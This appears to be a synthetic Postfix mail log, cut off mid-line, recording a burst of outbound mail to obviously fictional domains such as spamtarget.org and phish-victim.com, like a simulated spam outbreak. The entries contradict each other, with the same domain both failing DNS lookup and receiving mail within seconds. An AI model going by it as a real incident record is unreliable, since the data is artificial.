postfix/smtp[12048]: 675E6DA94F: to=, relay=none, delay=0.44, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=getrichquick.info type=A: Host not found) +Aug 12 14:34:30 mail-server-prod postfix/smtp[12035]: F9E8CA9A72: to=, relay=mx.fakedomain.co.uk[192.168.227.141]:25, delay=1.96, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:30 mail-server-prod postfix/smtp[10402]: B9B71A6200: to=, relay=mx.getrichquick.info[192.168.44.248]:25, delay=3.67, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:30 mail-server-prod postfix/smtp[13935]: 78CB841206: to=, relay=mx.spamtarget.org[192.168.53.61]:25, delay=4.04, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:30 mail-server-prod postfix/smtp[14922]: F94F12287A: to=, relay=mx.phish-victim.com[192.168.245.248]:25, delay=2.04, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:30 mail-server-prod postfix/smtp[14140]: 99F8575D0E: to=, relay=mx.spamtarget.org[192.168.237.197]:25, delay=3.24, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:30 mail-server-prod postfix/smtp[14448]: 61A42B9A8A: to=, relay=mx.junkmail.net[192.168.14.208]:25, delay=1.63, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:30 mail-server-prod postfix/smtp[10883]: 60DEB5441F: to=, relay=mx.getrichquick.info[192.168.39.88]:25, delay=1.68, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:30 mail-server-prod postfix/smtp[10613]: DE15B8E75B: to=, relay=mx.getrichquick.info[192.168.238.197]:25, delay=1.06, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:35 mail-server-prod postfix/smtp[10169]: 4D493FE935: to=, relay=mx.fakedomain.co.uk[192.168.36.102]:25, delay=4.71, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:35 mail-server-prod postfix/smtp[12758]: 0FCC7B0FCE: to=, relay=mx.getrichquick.info[192.168.252.105]:25, delay=2.72, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:35 mail-server-prod postfix/smtp[12820]: F440631CC6: to=, relay=mx.example.com[192.168.124.22]:25, delay=3.57, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:35 mail-server-prod postfix/smtp[10493]: E54E6852C4: to=, relay=mx.phish-victim.com[192.168.140.218]:25, delay=2.18, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:35 mail-server-prod postfix/smtp[13084]: 5D3E74560D: to=, relay=mx.phish-victim.com[192.168.167.67]:25, delay=2.57, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:40 mail-server-prod postfix/smtp[14838]: 4644B82A7F: to=, relay=none, delay=0.32, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:34:40 mail-server-prod postfix/smtp[11537]: 3B4F463B02: to=, relay=mx.randomsite.biz[192.168.141.225]:25, delay=2.24, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:40 mail-server-prod postfix/smtp[12195]: A48A9D0BB7: to=, relay=none, delay=0.22, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:34:40 mail-server-prod postfix/smtp[14918]: 293CF8D031: to=, relay=mx.getrichquick.info[192.168.135.44]:25, delay=1.73, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:40 mail-server-prod postfix/smtp[14131]: 43563EE170: to=, relay=mx.spamtarget.org[192.168.8.172]:25, delay=1.58, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:40 mail-server-prod postfix/smtp[11767]: 2307B19B18: to=, relay=mx.phish-victim.com[192.168.177.161]:25, delay=2.33, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:40 mail-server-prod postfix/smtp[10106]: EA5EC66976: to=, relay=mx.randomsite.biz[192.168.86.191]:25, delay=4.92, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:45 mail-server-prod postfix/smtp[11506]: 5D6F498742: to=, relay=none, delay=0.21, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=randomsite.biz type=A: Host not found) +Aug 12 14:34:45 mail-server-prod postfix/smtp[11178]: E19C9F9BB4: to=, relay=none, delay=0.27, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:34:45 mail-server-prod postfix/smtp[11570]: E9327489B5: to=, relay=mx.fakedomain.co.uk[192.168.163.96]:25, delay=1.14, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:45 mail-server-prod postfix/smtp[11013]: 1E84E0D0A1: to=, relay=mx.spamtarget.org[192.168.42.28]:25, delay=2.18, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:45 mail-server-prod postfix/smtp[11699]: 6C0183056E: to=, relay=mx.spamtarget.org[192.168.254.247]:25, delay=2.34, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:45 mail-server-prod postfix/smtp[11331]: 7780796DA8: to=, relay=mx.spamtarget.org[192.168.182.221]:25, delay=4.08, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:50 mail-server-prod postfix/smtp[12529]: 3A85BE41C9: to=, relay=none, delay=0.1, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:34:50 mail-server-prod postfix/smtp[10839]: 0C03600F8F: to=, relay=mx.fakedomain.co.uk[192.168.134.107]:25, delay=2.15, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:50 mail-server-prod postfix/smtp[10030]: D1332CD6BF: to=, relay=mx.junkmail.net[192.168.110.47]:25, delay=4.07, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:50 mail-server-prod postfix/smtp[10622]: E259899975: to=, relay=mx.example.com[192.168.33.250]:25, delay=3.96, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:50 mail-server-prod postfix/smtp[14740]: 10AB58DA1B: to=, relay=mx.getrichquick.info[192.168.251.151]:25, delay=2.71, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:50 mail-server-prod postfix/smtp[14768]: 6CFAEF75E3: to=, relay=mx.spamtarget.org[192.168.236.30]:25, delay=1.32, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:55 mail-server-prod postfix/smtp[11190]: EDCD07A2D7: to=, relay=mx.fakedomain.co.uk[192.168.58.61]:25, delay=4.3, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:55 mail-server-prod postfix/smtp[11311]: 7A0EC3F56A: to=, relay=none, delay=0.15, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:34:55 mail-server-prod postfix/smtp[12075]: C5838A32D1: to=, relay=mx.spamtarget.org[192.168.118.6]:25, delay=2.35, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:55 mail-server-prod postfix/smtp[10529]: 82BE8C68BD: to=, relay=none, delay=0.44, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=getrichquick.info type=A: Host not found) +Aug 12 14:34:55 mail-server-prod postfix/smtp[14761]: 898F0B2FD5: to=, relay=mx.randomsite.biz[192.168.229.12]:25, delay=1.86, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:34:55 mail-server-prod postfix/smtp[13281]: 9EF6328E8E: to=, relay=none, delay=0.23, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=randomsite.biz type=A: Host not found) +Aug 12 14:35:00 mail-server-prod systemd[1]: Starting daily clean up activities... +Aug 12 14:35:00 mail-server-prod postfix/smtp[10529]: C895BD6C1B: to=, relay=none, delay=0.26, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:35:00 mail-server-prod postfix/smtp[10870]: 195CD9CDE2: to=, relay=mx.getrichquick.info[192.168.164.100]:25, delay=1.54, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:00 mail-server-prod postfix/smtp[10099]: 31B38A5FBF: to=, relay=mx.junkmail.net[192.168.17.141]:25, delay=1.71, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:00 mail-server-prod postfix/smtp[12091]: 8AC70EED4C: to=, relay=mx.phish-victim.com[192.168.92.120]:25, delay=2.1, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:05 mail-server-prod postfix/smtp[11756]: 293FA450AF: to=, relay=mx.example.com[192.168.72.230]:25, delay=4.49, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:05 mail-server-prod postfix/smtp[10201]: 63A549A26E: to=, relay=mx.spamtarget.org[192.168.76.157]:25, delay=3.45, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:05 mail-server-prod postfix/smtp[13690]: 47309DE83B: to=, relay=mx.phish-victim.com[192.168.9.48]:25, delay=4.82, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:05 mail-server-prod postfix/smtp[14594]: 83487F2679: to=, relay=mx.fakedomain.co.uk[192.168.42.167]:25, delay=2.16, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:05 mail-server-prod postfix/smtp[12657]: 60DDC71374: to=, relay=mx.randomsite.biz[192.168.148.233]:25, delay=3.8, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:05 mail-server-prod postfix/smtp[13905]: 75391CFF0B: to=, relay=mx.randomsite.biz[192.168.71.145]:25, delay=2.87, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:05 mail-server-prod postfix/smtp[14815]: 7CE452B6CB: to=, relay=mx.phish-victim.com[192.168.147.7]:25, delay=4.71, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:05 mail-server-prod postfix/smtp[11709]: DDDAFA9FF6: to=, relay=mx.randomsite.biz[192.168.6.101]:25, delay=4.42, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:10 mail-server-prod postfix/smtp[11050]: 8A04A02B86: to=, relay=none, delay=0.21, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:35:10 mail-server-prod postfix/smtp[12210]: 75B21F4AB8: to=, relay=mx.getrichquick.info[192.168.2.224]:25, delay=3.06, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:10 mail-server-prod postfix/smtp[11395]: 484B4792A6: to=, relay=mx.phish-victim.com[192.168.63.211]:25, delay=4.37, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:10 mail-server-prod postfix/smtp[11028]: CF8E9AB065: to=, relay=mx.junkmail.net[192.168.43.124]:25, delay=1.81, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:15 mail-server-prod postfix/smtp[14325]: 6284B60681: to=, relay=mx.junkmail.net[192.168.244.47]:25, delay=1.12, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:15 mail-server-prod postfix/smtp[13110]: 65DBB23A45: to=, relay=mx.getrichquick.info[192.168.120.8]:25, delay=2.94, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:15 mail-server-prod postfix/smtp[13816]: 3C29FACC89: to=, relay=mx.spamtarget.org[192.168.130.250]:25, delay=4.76, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:15 mail-server-prod postfix/smtp[12619]: B8E3493866: to=, relay=none, delay=0.33, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=getrichquick.info type=A: Host not found) +Aug 12 14:35:15 mail-server-prod postfix/smtp[14357]: 1AF6D820E1: to=, relay=mx.junkmail.net[192.168.20.128]:25, delay=4.97, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:20 mail-server-prod postfix/smtp[11537]: 91CAA2867C: to=, relay=mx.fakedomain.co.uk[192.168.41.124]:25, delay=2.68, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:20 mail-server-prod postfix/smtp[10083]: E59673F8BF: to=, relay=mx.getrichquick.info[192.168.44.184]:25, delay=3.34, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:20 mail-server-prod postfix/smtp[10159]: 1DD7002713: to=, relay=mx.phish-victim.com[192.168.220.41]:25, delay=1.92, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:20 mail-server-prod postfix/smtp[14902]: 0C9F7F7D9F: to=, relay=mx.getrichquick.info[192.168.225.155]:25, delay=3.67, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:20 mail-server-prod postfix/smtp[14130]: 38547E9FA1: to=, relay=mx.spamtarget.org[192.168.90.70]:25, delay=4.55, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:20 mail-server-prod postfix/smtp[12038]: 1C0A8D0CE6: to=, relay=none, delay=0.36, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:35:25 mail-server-prod postfix/smtp[12014]: B81075C4B0: to=, relay=none, delay=0.25, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:35:25 mail-server-prod postfix/smtp[12104]: 28656B9661: to=, relay=mx.getrichquick.info[192.168.141.47]:25, delay=3.4, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:25 mail-server-prod postfix/smtp[13114]: 05B7C84DB1: to=, relay=mx.randomsite.biz[192.168.120.117]:25, delay=2.17, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:25 mail-server-prod postfix/smtp[12969]: 3BDEF43B4F: to=, relay=mx.junkmail.net[192.168.219.55]:25, delay=4.9, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:30 mail-server-prod postfix/smtp[12014]: B429917D31: to=, relay=none, delay=0.25, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:35:30 mail-server-prod postfix/smtp[11222]: 8C1B028EE0: to=, relay=mx.example.com[192.168.230.33]:25, delay=2.41, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:30 mail-server-prod postfix/smtp[13529]: 7D05EA4FC1: to=, relay=mx.randomsite.biz[192.168.23.67]:25, delay=1.57, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:30 mail-server-prod postfix/smtp[10895]: C3688CC1A3: to=, relay=mx.example.com[192.168.121.159]:25, delay=3.58, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:30 mail-server-prod postfix/smtp[12825]: BF623F8D65: to=, relay=mx.spamtarget.org[192.168.69.145]:25, delay=3.22, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:30 mail-server-prod postfix/smtp[12687]: 15E65C61BB: to=, relay=none, delay=0.25, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=randomsite.biz type=A: Host not found) +Aug 12 14:35:35 mail-server-prod postfix/smtp[10315]: 042AAD4D65: to=, relay=none, delay=0.4, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:35:35 mail-server-prod postfix/smtp[12943]: D6395E2AF5: to=, relay=none, delay=0.12, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:35:35 mail-server-prod postfix/smtp[11535]: BDB3A659F0: to=, relay=mx.getrichquick.info[192.168.29.88]:25, delay=3.16, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:35 mail-server-prod postfix/smtp[11827]: 2C97209A20: to=, relay=none, delay=0.19, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:35:35 mail-server-prod postfix/smtp[12777]: 872F712543: to=, relay=none, delay=0.24, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:35:35 mail-server-prod postfix/smtp[10002]: FBFD4A1F87: to=, relay=mx.example.com[192.168.118.44]:25, delay=4.51, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:35 mail-server-prod postfix/smtp[13885]: 50B1714724: to=, relay=none, delay=0.14, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:35:35 mail-server-prod postfix/smtp[11418]: 4444C7785E: to=, relay=mx.spamtarget.org[192.168.86.179]:25, delay=1.83, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:40 mail-server-prod postfix/smtp[10937]: CA29DC270A: to=, relay=mx.randomsite.biz[192.168.221.187]:25, delay=2.78, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:40 mail-server-prod postfix/smtp[13270]: 7964FB074A: to=, relay=none, delay=0.26, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:35:40 mail-server-prod postfix/smtp[14182]: E399EA5EAD: to=, relay=mx.phish-victim.com[192.168.224.240]:25, delay=2.67, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:40 mail-server-prod postfix/smtp[14827]: 0DCA0EA311: to=, relay=mx.fakedomain.co.uk[192.168.126.38]:25, delay=3.82, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:45 mail-server-prod postfix/smtp[11736]: C981CBA1C9: to=, relay=none, delay=0.32, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=randomsite.biz type=A: Host not found) +Aug 12 14:35:45 mail-server-prod postfix/smtp[14025]: FFAE82EEE3: to=, relay=mx.junkmail.net[192.168.6.148]:25, delay=1.06, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:45 mail-server-prod postfix/smtp[11236]: AC0571FB48: to=, relay=none, delay=0.3, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=spamtarget.org type=A: Host not found) +Aug 12 14:35:45 mail-server-prod postfix/smtp[13799]: DEC31D22A0: to=, relay=mx.example.com[192.168.5.250]:25, delay=1.11, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:45 mail-server-prod postfix/smtp[10871]: A78FAC6840: to=, relay=mx.fakedomain.co.uk[192.168.143.18]:25, delay=4.58, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:45 mail-server-prod postfix/smtp[12810]: 77C560E7C8: to=, relay=none, delay=0.45, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=randomsite.biz type=A: Host not found) +Aug 12 14:35:50 mail-server-prod postfix/smtp[11326]: 81D3BAC48E: to=, relay=mx.randomsite.biz[192.168.228.33]:25, delay=2.64, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:50 mail-server-prod postfix/smtp[13751]: A9DEEDC889: to=, relay=mx.fakedomain.co.uk[192.168.98.59]:25, delay=1.37, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:50 mail-server-prod postfix/smtp[13354]: F916259533: to=, relay=mx.spamtarget.org[192.168.26.247]:25, delay=5.0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:50 mail-server-prod postfix/smtp[14130]: 7C7CBB161F: to=, relay=mx.randomsite.biz[192.168.136.197]:25, delay=2.09, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:55 mail-server-prod postfix/smtp[12560]: A2B501F00A: to=, relay=mx.fakedomain.co.uk[192.168.168.224]:25, delay=4.65, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:55 mail-server-prod postfix/smtp[13558]: EE36F5D494: to=, relay=none, delay=0.4, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:35:55 mail-server-prod postfix/smtp[10679]: D5E0B84A2A: to=, relay=mx.junkmail.net[192.168.47.166]:25, delay=4.68, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:55 mail-server-prod postfix/smtp[11999]: 1E465E2B57: to=, relay=mx.fakedomain.co.uk[192.168.242.62]:25, delay=3.8, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:55 mail-server-prod postfix/smtp[12252]: 425D0BB37D: to=, relay=mx.fakedomain.co.uk[192.168.209.46]:25, delay=3.87, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:35:55 mail-server-prod postfix/smtp[10390]: 95009D1EA6: to=, relay=none, delay=0.22, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=phish-victim.com type=A: Host not found) +Aug 12 14:36:00 mail-server-prod postfix/smtp[12609]: D3D7EE5357: to=, relay=mx.example.com[192.168.95.152]:25, delay=4.46, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:00 mail-server-prod postfix/smtp[14208]: E94083AF10: to=, relay=mx.spamtarget.org[192.168.218.251]:25, delay=2.25, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:00 mail-server-prod postfix/smtp[12821]: E47B1556B8: to=, relay=mx.example.com[192.168.37.33]:25, delay=3.85, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:00 mail-server-prod postfix/smtp[10681]: 6C7F24C152: to=, relay=mx.randomsite.biz[192.168.247.102]:25, delay=4.83, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:00 mail-server-prod postfix/smtp[10353]: 0BEBC7A882: to=, relay=mx.phish-victim.com[192.168.84.20]:25, delay=2.33, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:00 mail-server-prod postfix/smtp[10445]: 67A8DC6A80: to=, relay=mx.phish-victim.com[192.168.241.205]:25, delay=1.58, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:05 mail-server-prod postfix/smtp[12866]: FD38551414: to=, relay=mx.getrichquick.info[192.168.12.237]:25, delay=3.29, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:05 mail-server-prod postfix/smtp[11744]: 3DE20B5994: to=, relay=mx.spamtarget.org[192.168.129.145]:25, delay=4.44, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:05 mail-server-prod postfix/smtp[13425]: E96B01F310: to=, relay=mx.junkmail.net[192.168.200.140]:25, delay=3.08, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:05 mail-server-prod postfix/smtp[10478]: 5FC0157BDA: to=, relay=mx.getrichquick.info[192.168.171.20]:25, delay=3.57, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:10 mail-server-prod postfix/smtp[12560]: E50BEE00D1: to=, relay=mx.spamtarget.org[192.168.168.200]:25, delay=1.57, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:10 mail-server-prod postfix/smtp[14070]: 3E5F37CB73: to=, relay=mx.getrichquick.info[192.168.153.2]:25, delay=3.19, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:10 mail-server-prod postfix/smtp[11854]: C84FE3FA67: to=, relay=mx.randomsite.biz[192.168.207.145]:25, delay=3.36, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:10 mail-server-prod postfix/smtp[12238]: 68C3574453: to=, relay=mx.junkmail.net[192.168.53.109]:25, delay=4.2, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:10 mail-server-prod postfix/smtp[11858]: 3D2D32D323: to=, relay=mx.junkmail.net[192.168.170.84]:25, delay=4.14, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:10 mail-server-prod postfix/smtp[11020]: E697886751: to=, relay=mx.getrichquick.info[192.168.199.197]:25, delay=2.59, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:10 mail-server-prod postfix/smtp[13083]: 503ED4B1BE: to=, relay=mx.junkmail.net[192.168.229.141]:25, delay=3.29, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:10 mail-server-prod postfix/smtp[11770]: DB83371DE4: to=, relay=mx.spamtarget.org[192.168.56.50]:25, delay=4.63, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:15 mail-server-prod systemd[1]: Starting daily clean up activities... +Aug 12 14:36:15 mail-server-prod CRON[8634]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 14:36:15 mail-server-prod postfix/smtp[14790]: 791BE1A66C: to=, relay=mx.spamtarget.org[192.168.72.162]:25, delay=2.66, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:15 mail-server-prod postfix/smtp[13583]: 047D1AF599: to=, relay=mx.fakedomain.co.uk[192.168.142.26]:25, delay=4.55, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:15 mail-server-prod postfix/smtp[12515]: 43EBA09BD4: to=, relay=none, delay=0.15, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:36:15 mail-server-prod postfix/smtp[13499]: 38C65CE721: to=, relay=mx.phish-victim.com[192.168.120.76]:25, delay=3.21, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:15 mail-server-prod postfix/smtp[14019]: 1EDA11F619: to=, relay=none, delay=0.23, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=example.com type=A: Host not found) +Aug 12 14:36:15 mail-server-prod postfix/smtp[10731]: 56A42AD74B: to=, relay=mx.fakedomain.co.uk[192.168.215.162]:25, delay=2.44, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:15 mail-server-prod postfix/smtp[11326]: 704210F85C: to=, relay=mx.phish-victim.com[192.168.151.118]:25, delay=2.56, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:15 mail-server-prod postfix/smtp[12786]: F83A875352: to=, relay=mx.phish-victim.com[192.168.139.101]:25, delay=2.45, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:20 mail-server-prod postfix/smtp[13381]: 80F601B403: to=, relay=mx.spamtarget.org[192.168.250.11]:25, delay=2.93, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:20 mail-server-prod postfix/smtp[12332]: 3C39AC65DB: to=, relay=mx.spamtarget.org[192.168.159.144]:25, delay=3.56, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:20 mail-server-prod postfix/smtp[12999]: AAF7318902: to=, relay=mx.junkmail.net[192.168.217.116]:25, delay=3.34, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:20 mail-server-prod postfix/smtp[11893]: 31F3F81987: to=, relay=mx.spamtarget.org[192.168.4.234]:25, delay=4.29, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:20 mail-server-prod postfix/smtp[14726]: ECDC7EC083: to=, relay=none, delay=0.28, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=phish-victim.com type=A: Host not found) +Aug 12 14:36:20 mail-server-prod postfix/smtp[13249]: 988C0FB825: to=, relay=mx.fakedomain.co.uk[192.168.153.102]:25, delay=2.13, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:20 mail-server-prod postfix/smtp[13314]: 3599791E43: to=, relay=none, delay=0.48, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:36:20 mail-server-prod postfix/smtp[10315]: 13C6A36E6D: to=, relay=mx.randomsite.biz[192.168.170.204]:25, delay=1.95, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:25 mail-server-prod postfix/smtp[12987]: D1D63FC349: to=, relay=mx.junkmail.net[192.168.10.22]:25, delay=1.8, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:25 mail-server-prod postfix/smtp[10806]: 375903595F: to=, relay=mx.example.com[192.168.17.241]:25, delay=3.44, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:25 mail-server-prod postfix/smtp[14007]: 64BF5B5133: to=, relay=none, delay=0.27, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:36:25 mail-server-prod postfix/smtp[13603]: AACCF4A64B: to=, relay=none, delay=0.32, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=fakedomain.co.uk type=A: Host not found) +Aug 12 14:36:30 mail-server-prod postfix/smtp[13393]: CFE2C465B7: to=, relay=mx.fakedomain.co.uk[192.168.174.206]:25, delay=4.15, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:30 mail-server-prod postfix/smtp[12044]: 0610648853: to=, relay=none, delay=0.46, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=junkmail.net type=A: Host not found) +Aug 12 14:36:30 mail-server-prod postfix/smtp[11681]: 8414A378DE: to=, relay=mx.fakedomain.co.uk[192.168.144.87]:25, delay=4.9, dsn=2.0.0, status=sent (250 2.0.0 OK) +Aug 12 14:36:30 mail-server-prod postfix/smtp[13815]: E0FC5C25F3: to=, relay=mx.randomsite.biz[192.168.179.65]:25, delay=1.42, dsn=2.0.0, status=sent (250 